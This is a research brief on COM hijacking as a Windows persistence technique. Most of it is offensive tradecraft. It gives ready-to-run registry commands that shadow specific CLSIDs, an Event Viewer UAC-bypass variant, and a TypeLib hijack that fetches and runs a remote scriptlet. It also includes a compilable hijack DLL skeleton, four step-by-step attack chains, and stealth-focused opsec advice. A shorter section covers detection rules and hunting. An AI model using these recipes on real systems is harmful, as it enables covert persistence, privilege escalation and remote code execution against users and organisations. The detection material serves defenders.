35 KiB
RESEARCH BRIEF — COM for PERSISTENCE (MITRE ATT&CK T1546.015)
All claims verified against primary sources (MITRE, bohops, enigma0x3, MDSec, SpecterOps, ReliaQuest, Talos, ESET, FireEye/Mandiant, CrowdStrike, SigmaHQ, Elastic, Red Canary Atomic, NCC Group, leoloobeek, nickvourd, 3gstudent, pentestlab).
1. COM Hijacking Fundamentals
1.1 The HKCR merge — why a standard user can hijack anything
HKEY_CLASSES_ROOTis not a real hive — it is a merged view built at query time fromHKLM\SOFTWARE\Classes(machine-wide) andHKCU\SOFTWARE\Classes(per-user).- Per-user entries take precedence. If the same subkey/value exists in both, the HKCU value wins (Microsoft: "Merged View of HKEY_CLASSES_ROOT"). A non-admin user has full write access to HKCU, so any COM class registered in HKLM can be shadowed per-user with zero privileges.
- COM resolution path for
CoCreateInstance(CLSID, ...)(in-proc case): 1)HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32(orLocalServer32,InprocHandler32,TreatAs) — checked first; 2)HKCR\CLSID\...(merged view → effectively HKLM); 3)HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\(legacy shell fallback). - 32-bit processes on 64-bit Windows additionally use the WoW64 reflection path:
HKCU\Software\Classes\Wow6432Node\CLSID\...(critical for Office hijacks). - Key values under InprocServer32:
(Default)= DLL path (REG_SZ/REG_EXPAND_SZ),ThreadingModel=Apartment(STA) |Free(MTA) |Both|Neutral, and shell-onlyLoadWithoutCOM(honored by shell32SHCoCreateInstance— load DLL by path with no full COM checks; abused in eventvwr UAC bypass).
1.2 Phantom / orphaned / abandoned COM objects
- Orphaned registrations (registered CLSID, missing binary): CLSID exists but the InprocServer32/LocalServer32 target file does not — leftovers from uninstalled software (bohops' example: VMware Workstation's leftover
vmnetbridge.dllat CLSID{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}). If the directory path is attacker-writable, dropping a payload at the expected path hijacks the object without touching the registry. If the registry path is writable (HKCU shadow), you don't even need the file path. - Undefined-but-referenced classes (dangling references): programs call
CoCreateInstanceon CLSIDs not registered anywhere (NAME NOT FOUND in ProcMon). Registering that CLSID in HKCU creates a new "phantom" object the program then loads. Advantages: no legitimate value overwritten, no functionality breaks, nothing to diff (CrowdStrike ClickOnce research 2025; pentestlab/SpecterOps methodology).
1.3 Why it survives reboots and is low-noise
- Persistence lives entirely in the registry (HKCU hive =
NTUSER.DAT/UsrClass.dat), re-read at every logon; no autostart entry, no service, no scheduled task modification. - The trigger is normal system activity: a legitimate Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, outlook.exe, browsers) does the
LoadLibraryof your DLL. Execution inherits host integrity and reputation; no new suspicious process. - Autoruns gap: Sysinternals Autoruns enumerates only specific COM categories; it does not diff the full
HKCU\Software\Classes\CLSIDtree against HKLM → classic per-user CLSID shadow invisible in default views. Even when a Run-key launcher is used (rundll32.exe -sta {CLSID}ormmc.exe -Embedding payload.msc), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive (bohops Part 2). - MITRE T1546.015: tactic = Persistence + Privilege Escalation.
1.4 InprocServer32 vs LocalServer32
InprocServer32→ DLL loaded into caller viaLoadLibrary;ole32/combasecalls exportedDllGetClassObject(most common persistence).LocalServer32→ EXE (or command line!) launched as a new process by DCOM Server Process Launcher (svchost.exe -k DcomLaunch) with-Embedding. LocalServer32 values may include arguments — CrowdStrike demonstrated fileless persistence withcmd.exe/powershell.exe+ script args in LocalServer32. Detection: properly instantiated COM servers spawn from svchost.exe; any other parent for an-Embeddingcommand line is suspicious.
2. Documented Hijackable CLSIDs & In-The-Wild Cases
2.1 {0A29FF9E-7F9C-4437-8B11-F424491E3931} — Event Viewer MMC snap-in class — persistence + UAC crossover
- Loaded by
eventvwr.exe(auto-elevated) andmmc.exe eventvwr.msc; HKCU shadow path free. - Hijack recipe:
(
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f0xf090013d= SFGAO attribute combination required for the shell to accept the object.) - Documented by: hfiref0x/UACME, Metasploit
exploit/windows/local/bypassuac_comhijack, 3gstudent (lists it among HKCU CLSID hijacks of elevated programs alongside{B29D466A-857D-35BA-8712-A758861BFEA1},{D5AB5662-131D-453D-88C8-9BBA87502ADE},{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}). - Related but distinct: enigma0x3's eventvwr "fileless" UAC bypass pivots on
HKCU\Software\Classes\mscfile\shell\open\command(file association, not CLSID). PoC:Invoke-EventVwrBypass.ps1. - Note: user-triggered (someone must open Event Viewer); its value is the persistence→privesc chain (payload loads high-IL because eventvwr auto-elevates).
2.2 {BCDE0395-E52F-467C-8E3D-C4579291692E} — MMDeviceEnumerator (audio endpoint enumerator, mmdevapi.dll)
- Instantiated by explorer.exe at every logon and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP).
- ITW — APT28/Sednit: Seduploader persisted via
HKCU\Environment\UserInitMprLogonScriptand COM hijack of MMDeviceEnumerator; payload executed "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" (Cisco Talos). MITRE APT28 (G0007) cites it; JHUHUGIT also hijacked MMDeviceEnumerator + registered as Shell Icon Overlay handler (FireEye/Mandiant). - Chinese research blogs 2019 PoC: drop DLL as
%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl, HKCU CLSID + ThreadingModel=Apartment, trigger with iexplore.exe. - sbousseaden/EVTX-ATTACK-SAMPLES has
persist_firefox_comhijack_sysmon_11_13_7_1.evtx(Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox).
2.3 {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7} — CAccPropServicesClass (MSAA "AccPropServices", oleacc.dll)
- MS Active Accessibility property server; instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported.
- Documented by bohops research; Atomic Red Team T1546.015 Test #1 uses exactly this CLSID with
rundll32.exe -sta {B5F8350B-...}as invoker.
2.4 {42AEDC87-2188-41FD-B9A3-0C966FEABEC1} — MruPidlList (shell32)
- Loaded by explorer.exe at every shell start and throughout the session. The classic most-abused persistence CLSID.
- ITW: ComRAT/Turla (replaces path to shell32.dll in
{42aedc87-...}\InprocServer32— MITRE S0126); BBSRAT (MruPidlList one arch,{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}"Microsoft WBEM New Event Subsystem" other — Palo Alto); PcShare (HKCU{42aedc87-...}— MITRE); SILENTTRINITY references it. - Earliest vendor doc: G-Data, "COM Object hijacking: the discreet way of persistence," Oct 2014 (MITRE's citation). First-ever public discussion of per-user COM abuse: Jon Larimer, 2011 (per leoloobeek).
2.5 Scheduled-task COM handler CLSIDs (taskhostw.exe / Schedule service)
Scheduled tasks with <ComHandler><ClassId>{...}</ClassId> actions instantiate the CLSID in the task host when fired. Hijack = shadow that CLSID in HKCU.
{0358B920-0AC7-461F-98F4-58E32CD89148}— WinINet CacheTask (C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask), InprocServer32 =%systemroot%\system32\wininet.dll, ThreadingModel=Both, trigger = logon of any user. Walkthrough: MDSec, Dominic Chell, "Persistence Part 2 – COM Hijacking" (May 2019) — HKLM key TrustedInstaller-owned; HKCU shadow withc:\tools\demo.dllexecutes at logon.{A6BA00FE-40E8-477C-B713-C64A14F18ADB}— WindowsUpdate\Automatic App Update task (ComHandler), documented by enigma0x3, "Userland Persistence with Scheduled Tasks and COM Handler Hijacking" (May 2016). Enumerator:Get-ScheduledTaskComHandler.ps1.{2DEA658F-54C1-4227-AF9B-260AB5FC3543}— ITW: attacker registered own payload CLSID, addedTreatAsunder this legitimate CLSID loaded by an existing scheduled task at user logon → payload every logon (FireEye/Mandiant UNC2529).- Generic PowerShell hunter:
$Tasks = Get-ScheduledTask foreach ($Task in $Tasks) { if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") { Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)" } } {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}— training example (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed.- "TeaTimer" has NO documented COM persistence linkage (negative result — likely conflation with scheduled-task COM handler hijacking or Spybot's registry monitor).
2.6 TreatAs redirection (CLSID→CLSID linking)
- Semantics:
HKCR\CLSID\{A}\TreatAs(default ={B}) tells COM class{B}"can emulate"{A};CoCreateInstance({A})resolves{B}. APIs:CoGetTreatAsClass(),CoTreatAsClass(); related:AutoTreatAs,Emulatedsubkey. Because TreatAs is a key, attackers add it in HKCU without touching{A}'s InprocServer32 — evades detections that only watch InprocServer32 writes. - Documented example (enigma0x3 + subTee "Windows Operating System Archaeology", via bohops Part 2):
{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC}→ scrobj.dll ScriptletURL payload. Hexacorn "Beyond good ol' Run key, Part 84". - ITW — Turla Outlook backdoor (ESET, Aug 2018):
HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066};{49CBB1C7-...}("Mail Plugin") → InprocServer32 = backdoor DLL, ThreadingModel=Apartment → backdoor loads inside OUTLOOK.EXE at every launch. Automated by 3gstudentInvoke-OutlookPersistence.ps1(handles Wow6432Node for 32-bit Office).
2.7 TypeLib hijacking (oleaut32 automation marshaling) — REQUIRED
- Mechanics: Type libraries resolve from
HKCR\TypeLib\{LIBID}\<version>\0\win32|win64(default = path to .tlb/.dll/.olb). Any Automation/IDispatchclient (VBA, VBScript/JScriptGetObject/CreateObject, .NET RCWs, Explorer.exe, OLE embedding) causes oleaut32LoadTypeLib()of that path. Shadowing win32/win64 inHKCU\Software\Classes\TypeLib\{LIBID}\...redirects the load — per-user, no admin. - Killer detail: the value accepts a moniker string. Setting it to
script:<path-or-URL>runs a Windows Script Component (.sct) via scrobj.dll — including remotescript:https://...scriptlet → fileless payload re-downloaded at every trigger. - ITW — ReliaQuest (March 2025 incidents, published April 2025; Black Basta / Storm-1811-affiliated operators):
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}= SHDocVw (Microsoft Web Browser control / IE) library. ReliaQuest observed Explorer.exe references this object every time it runs → payload auto-downloaded at every restart. MITRE updated T1546.015 in 2025 to add the TypeLib/"script:"-moniker variation, citing ReliaQuest. - HackTricks discovery recipe: read LIBID from
HKCR\CLSID\{CLSID}\TypeLib, read version fromHKCR\TypeLib\{LIBID}, then createHKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32=script:C:\...\evil.sct(JScript<scriptlet>that re-arms the main chain). - Detection: any
TypeLib\...\0\win32|win64value containingscript:,http:,https:is "almost certainly malicious"; watch scrobj.dll loading into non-scripting processes; huntreg.execmdlines containingTypeLib+script.
2.8 ProgID hijacking
- ProgIDs (
HKCR\<ProgID>\CLSID→{CLSID}) shadowable in HKCU: createHKCU\Software\Classes\<ProgID>\CLSID = {evil CLSID}; any client instantiating by name resolves your class. Canonical demo: Casey Smith's squiblydoo — HKCUScripting.Dictionary→{00000001-0000-0000-0000-0000FEEDACDC}→ InprocServer32 =C:\WINDOWS\system32\scrobj.dll+ScriptletURL= remote .sct. Stability caveat: WinRM/slmgr.vbs break with VBScript runtime errors.
2.9 ClickOnce "undefined COM object" variant (CrowdStrike, 2025)
- During ClickOnce deployment,
rundll32.execallsCoCreateInstance()with a hardcoded CLSID not registered (dfsvc.exe normally registers it later viaCoRegisterClassObject). Pre-registering that CLSID in HKCU with a LocalServer32 makes the DCOM-launcher svchost start the attacker's binary at next deployment — fileless capable (LocalServer32 can carry cmd.exe/script args), legitimate process tree, overwrites nothing. Limitations: only fires while dfsvc.exe not already running; adds 30–50s deploy delay. (CrowdStrike, "New Abuse of the ClickOnce Technology: Part 2.")
2.10 Auto-start host processes & other documented targets
- explorer.exe: MruPidlList
{42aedc87-...}, MMDeviceEnumerator{BCDE0395-...}, TypeLib{EAB22AC0-...}, plus shell extension classes from NCC acCOMplice masterkeys.csv (e.g.,{69486DD6-C19F-42E8-B508-A53F9F8E67B8},{9E175B6D-F52A-11D8-B9A5-505054503030},{9BA05972-F6A8-11CF-A442-00A0C90A8F39}). - Browsers/WebView2 (Chrome, Edge, Teams, OneDrive, M365): SpecterOps "Revisiting COM Hijacking" (May 2025):
msedgewebview2.exe,msedge.exe,explorer.exe,chrome.exeall query HKCU for{54E211B6-3650-4F75-8334-FA359598E1C5}(InprocServer32 =%SystemRoot%\system32\directmanipulation.dll, ThreadingModel=Both) and{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}— hijack yields execution inside browser processes with export-forwarding stubs (FaceDancer / Koppeling). - taskhostw.exe / Schedule service: any user-context ComHandler task (§2.5).
- Office/Outlook: Turla TreatAs chain (§2.6); 3gstudent Invoke-OutlookPersistence.
- Other ITW mapped to T1546.015: Mosquito (Turla), Ferocious (WIRTE), ADVSTORESHELL (Shell Icon Overlay handler), KONNI (modified ComSysApp service), WarzoneRAT (
HKCU\Software\Classes\Folder\shell\open\command+ DelegateExecute), AUTHENTIC ANTICS (NCSC MAR: COM hijack inside Outlook), SILENTTRINITY. - Watchlist CLSIDs (startupdefense):
{42aedc87-2188-41fd-b9a3-0c966feabec1},{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1},{E6D34FFC-AD32-4d6a-934C-D387FA873A19},{3543619C-D563-43f7-95EA-4DA7E1CC396A}.
2.11 Discovery tooling
| Tool | What it does | Where |
|---|---|---|
| acCOMplice / COMHijackToolkit (David Tulis, NCC Group; DerbyCon 9) | Extract-HijackableKeysFromProcmonCSV, Find-MissingLibraries, Hijack-CLSID, Hijack-MultipleKeys (frequency testing), COMinject PoC, procmon filters, masterkeys.csv |
github.com/nccgroup/Accomplice |
| COM-Hunter (@nickvourd + @S1ckB0y1337; .NET + BOF v3.0) | Modes: search (HKLM/HKCU), persist, tasksch, treatas, remove |
github.com/nickvourd/COM-Hunter |
| Get-ScheduledTaskComHandler.ps1 (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | github.com/enigma0x3/Misc-PowerShell-Stuff |
| COMProxy (leoloobeek) | Pass-through hijack DLL PoC | github.com/leoloobeek/COMProxy |
| oleviewdotnet (James Forshaw) | COM enumeration/analysis; "COM in 60 Seconds" talk | github.com/tyranid/oleviewdotnet |
| bohops' WMI one-liners | gwmi Win32_COMSetting + cmd /c dir existence check (finds orphans like mobsync.exe {C947D50F-378E-4FF6-8835-FCB50305244D} on 2008/2012) |
bohops.com Part 1 |
| FaceDancer / Koppeling / SharpDllProxy | Export-forwarding stub generators | github.com/Flangvik/SharpDllProxy etc. |
3. Trade-craft: The Pass-Through (Proxy) Hijack DLL
Concept (leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019): the hijack DLL exports DllGetClassObject/DllCanUnloadNow, loads the original server from its HKLM path, and forwards the call, so the client receives the interface pointers it expects and nothing breaks.
// hijack.cpp — pass-through COM hijack server (skeleton)
#include <windows.h>
typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);
static HMODULE g_hOrig = NULL;
static volatile LONG g_lPayloadDone = 0;
static BOOL PayloadAlreadyRan() { // mutex trick (SpecterOps)
HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899");
if (h == NULL) return TRUE;
return (GetLastError() == ERROR_ALREADY_EXISTS);
}
static BOOL IsDesiredHost() { // optional process gating
wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH);
wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p;
return (_wcsicmp(b, L"explorer.exe") == 0);
}
static DWORD WINAPI PayloadThread(LPVOID) {
if (IsDesiredHost() && !PayloadAlreadyRan()) {
STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe",
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
InterlockedExchange(&g_lPayloadDone, 1);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hMod);
wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
g_hOrig = LoadLibraryW(orig); // or read HKLM path via RegGetValue
QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0);
} else if (reason == DLL_PROCESS_DETACH) {
if (g_hOrig) FreeLibrary(g_hOrig);
}
return TRUE;
}
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE;
_DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
if (!p) return E_UNEXPECTED;
return p(rclsid, riid, ppv); // client gets REAL interface
}
STDAPI DllCanUnloadNow(void) { // leoloobeek "hold the door" trick
while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1);
_DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
return p ? p() : S_OK;
}
Exports (.def): DllGetClassObject, DllCanUnloadNow (+ DllRegisterServer/DllUnregisterServer for regsvr32-compat).
Complementary tradecraft:
- Export forwarding for non-COM exports (SpecterOps 2025):
#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")— generate with FaceDancer (recon -I target.dll -G) or Koppeling; SharpDllProxy automates. - ThreadingModel must match the HKLM original. Mismatch: COM inserts proxy/stub marshaling between apartments (slow; can deadlock UI threads /
RPC_E_CANTTRANSMIT); STA-expecting client may crash; worst case host crashes at load → detection.Bothis safest when unsure. - DllMain constraints: never block, never re-entrant CoCreateInstance, minimal loader-lock work — spawn a thread. Mutex/event gate against repeated instantiation.
- .NET COMVisible assemblies as payloads: register managed class with
regasm— InprocServer32 =C:\Windows\System32\mscoree.dllwithClass,Assembly,RuntimeVersion, optionallyCodeBase; CLR loads your assembly. Pure managed payload, signed host DLL. - Reg-free COM: activation-context manifests (
CreateActCtx/ActivateActCtx, app-local manifests, Isolated COM) resolve classes from manifest files instead of registry — keeps persistence off the CLSID hive or weaponizes a planted manifest next to a side-loadable binary. - ScriptletURL / scrobj.dll registration: InprocServer32 =
scrobj.dll(signed) +ScriptletURLvalue = local/remote .sct → fileless-ish, default AppLocker bypass (squiblydoo, subTee). ScriptletURL keys are rare legitimately — detection gold.
4. Attack Chains (step-by-step)
Chain A — Per-user persistence via scheduled-task COM handler (MDSec/enigma0x3)
- Enumerate:
Get-ScheduledTaskComHandler.ps1or PowerShell snippet (§2.5) → user-context tasks with ComHandler + LogonTrigger. - Pick
{0358B920-0AC7-461F-98F4-58E32CD89148}(CacheTask, wininet.dll, logon trigger). - Confirm HKLM registration +
ThreadingModel=Both; confirm no HKCU shadow. New-Item HKCU:\Software\Classes\CLSID\{0358B920-...}\InprocServer32→(Default) = C:\Users\<u>\AppData\Roaming\...\stub.dll;ThreadingModel = Both.- Drop pass-through stub DLL (forwards to
C:\Windows\System32\wininet.dll). - Next logon: Task Scheduler fires CacheTask → taskhost resolves CLSID → HKCU wins → stub loads inside task host, payload thread runs, proxies everything to wininet.dll. No autostart entries, no broken task.
Chain B — explorer-triggered audio enumerator (APT28)
- Stage DLL:
%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\update.dll. HKCU\Software\Classes\CLSID\{BCDE0395-...}\InprocServer32= staged path;ThreadingModel = Apartment.- Every logon (and every audio-API use): explorer.exe instantiates MMDeviceEnumerator → attacker DLL executes in explorer context.
Chain C — Fileless TypeLib hijack with remote scriptlet (ReliaQuest/Black Basta affiliate)
- Identify high-frequency Automation library:
{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}(SHDocVw; Explorer.exe touches constantly), version1.1. reg add "HKCU\Software\Classes\TypeLib\{EAB22AC0-...}\1.1\0\win64" /t REG_SZ /d "script:https://<cdn>/payload.sct" /f(or localscript:C:\ProgramData\update.sct).- On next Explorer start / WebBrowser-control use, oleaut32 resolves the TypeLib →
script:moniker runs SCT via scrobj.dll → payload re-fetched each time.
Chain D — TreatAs redirect (Turla)
- Register attacker class:
HKCU\Software\Classes\CLSID\{49CBB1C7-...}\InprocServer32= backdoor.dll (+ThreadingModel=Apartment, ProgID "Mail Plugin"). - Link legit class:
HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs={49CBB1C7-...}. - OUTLOOK.EXE instantiates → resolves attacker class. Legit CLSID's InprocServer32 never modified → evades naive detections (but see Sigma TreatAs rules).
5. Detection & Hunting
5.1 Registry telemetry
- Sysmon EID 12 (key create/delete), EID 13 (value set), EID 14 (rename). Target paths:
HKU\<SID>_Classes\CLSID\*andHKU\<SID>\Software\Classes\CLSID\*(InprocServer32, LocalServer32, TreatAs, ScriptletURL, ProgID)HKU\<SID>_Classes\TypeLib\*\0\win32|win64(TypeLib hijack)HKU\<SID>\Software\Classes\mscfile\shell\open\command,*\Folder\shell\open\command(DelegateExecute)
- High-signal heuristics:
- InprocServer32 (Default) pointing outside
%SystemRoot%\System32/Program Files→ user-writable paths. - HKCU CLSID shadowing HKLM CLSID with a different server path (baseline diff).
- Registered server path whose file does not exist (phantom/orphan).
TreatAswritten by non-svchost/non-Office; anyScriptletURLkey creation.- TypeLib values containing
script:/http(s):; scrobj.dll image loads in non-script hosts.
- InprocServer32 (Default) pointing outside
- Process/cmdline indicators:
rundll32.exe -sta {CLSID}(evasion:-staggggsuffixes still work),verclsid.exe /S /C {CLSID}(NickTyrer gist; seen in phishing),xwizard.exe RunWizard /taero /u {CLSID}(harr0ey),mmc.exe -Embedding <file.msc>(parent not svchost = suspicious),reg.exewithTypeLib+script.
5.2 Named rules
- SigmaHQ:
registry_set_persistence_com_key_linking.yml(TreatAs subkey; cites bohops Part 2);registry_set_treatas_persistence.yml;registry_set_persistence_search_order.yml;registry_set_persistence_com_hijacking_susp_locations.yml;registry_set_persistence_com_hijacking_builtin.yml; detection.fyi also: "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking". - Elastic prebuilt:
persistence_suspicious_com_hijack_registry.toml(HKCU vs HKLM shadow diff). - Splunk: "Eventvwr UAC Bypass" (mscfile HKCU write) + COM hijack analytics.
- VirusTotal LiveHunt YARA keyed on Sigma behaviour rule for CLSID COM hijacking (VT blog, Mar 2024).
- Atomic Red Team T1546.015 tests #1–#4.
5.3 Autoruns & blind spots
- Autoruns does not comprehensively enumerate HKCU CLSID shadows; hijacks launching via signed invokers hide behind Microsoft-signed entries. Registry-only persistence invisible until full hive diff. Recommend: periodic
reg exportofHKCU\Software\Classes\CLSID+...\TypeLib+UsrClass.datdiffed against gold image; cross-check Sysmon EID 7 loaded modules of explorer/svchost/taskhostw for DLLs outside System32.
6. Research Methodology — Finding NEW Hijackable CLSIDs
- Static orphan/phantom sweep: bohops method:
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }; $paths = $inproc | %{$_.InprocServer32}; foreach ($p in $paths){$p; cmd /c dir $p > $null}— "File Not Found" = orphan (repeat for LocalServer32; normalize args/env vars). acCOMpliceFind-MissingLibrariesautomates;Extract-HijackableKeysFromProcmonCSVpost-processes ProcMon captures. - Dynamic dangling-reference discovery: ProcMon filters:
Operation is RegOpenKey+Result is NAME NOT FOUND+Path ends with InprocServer32(+ optionally process-name filter for target apps: msedgewebview2.exe, OUTLOOK.EXE, Teams.exe). Run during logon/app launches. Each hit = a CLSID a live process tries to activate that you can register in HKCU. - Task-driven discovery:
Get-ScheduledTaskComHandler.ps1/ ComHandler snippet → logon/idle-triggered user tasks = scheduled triggers. - Frequency scoring: ProcMon boot/session traces → count RegOpenKey hits per CLSID per process per hour; or ETW (Microsoft-Windows-COMRuntime / registry ETW); NCC acCOMplice
Hijack-MultipleKeys= hijack several candidates with a logging DLL and count activations. Score = trigger frequency × host desirability (explorer/browsers/taskhostw > niche) × breakage risk. - Stability validation harness: implement pass-through DLL; unit-test with a COM client (leoloobeek ships TestCOMClient/TestCOMServer); soak-test real host (repeated launch/close, watch WerFault, UI hangs, proxy-marshal stalls); verify ThreadingModel matches HKLM; gate payload with mutex + host check; verify 32/64-bit hive placement; test DllCanUnloadNow so payload finishes before unload.
- Opsec review: does it break anything user-visible (squiblydoo broke slmgr.vbs/WinRM)? Is payload path plausible? Would the CLSID survive a Windows update (favor third-party/abandoned/undefined classes — CrowdStrike's point)?
7. Diagrams to Draw
- HKCR merge & precedence: HKCU on top of HKLM funnel into merged HKCR; red HKCU shadow eclipsing HKLM original; "no admin required — merge at query time".
- Classic hijack flow: Client (explorer.exe) → CoCreateInstance → combase registry lookup → HKCU InprocServer32 = evil.dll → LoadLibrary → DllGetClassObject → payload thread; greyed original HKLM path.
- Phantom object: (a) orphan: CLSID → dotted line to missing file → attacker drops DLL at expected path; (b) undefined-but-referenced: NAME NOT FOUND → attacker creates CLSID → next query succeeds.
- TreatAs redirect: Client → CoCreateInstance({A}) → HKCU TreatAs = {B} → {B} InprocServer32 → attacker DLL; "InprocServer32 of {A} never modified".
- TypeLib hijack: Client → oleaut32 LoadTypeLib → HKCU TypeLib{LIBID}\1.1\0\win64 = script:https://... → scrobj.dll → remote .sct fetched & executed; "ReliaQuest 2025 — Black Basta affiliate".
- Pass-through stability: client ←(real interfaces)← attacker DLL → LoadLibrary(original) → original DllGetClassObject; payload thread to the side.
REFERENCES
Frameworks / canonical
- MITRE ATT&CK T1546.015 Component Object Model Hijacking — https://attack.mitre.org/techniques/T1546/015/
- MITRE APT28 (G0007) — https://attack.mitre.org/groups/G0007/
- MITRE ComRAT (S0126) — https://attack.mitre.org/software/S0126/
- Microsoft: Merged View of HKEY_CLASSES_ROOT — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root
- Microsoft: TreatAs key — https://learn.microsoft.com/en-us/windows/win32/com/treatas · Registration-Free COM — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop
Seminal offensive research
- G-Data: COM Object hijacking — the discreet way of persistence (Oct 2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
- bohops: Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
- bohops: Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
- enigma0x3: Userland Persistence with Scheduled Tasks and COM Handler Hijacking — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/ · https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
- enigma0x3: "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
- Hexacorn: Beyond good ol' Run key, Part 84 — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/
- MDSec (Dominic Chell): Persistence Part 2 – COM Hijacking — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
- leoloobeek: Proxying COM For Stable Hijacks + COMProxy — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/ · https://github.com/leoloobeek/COMProxy
- David Tulis / NCC Group: acCOMplice + DerbyCon 9 — https://github.com/nccgroup/Accomplice · https://www.slideshare.net/DavidTulis1/com-hijacking-techniques-derbycon-2019
- pentestlab: Persistence – COM Hijacking — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
- 3gstudent: COM-Object-hijacking repo; Hijack Outlook — https://github.com/3gstudent/COM-Object-hijacking · https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/
- SpecterOps: Revisiting COM Hijacking (May 2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
- CrowdStrike: New Abuse of the ClickOnce Technology: Part 2 — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/
- James Forshaw: oleviewdotnet + "COM in 60 Seconds" — https://github.com/tyranid/oleviewdotnet
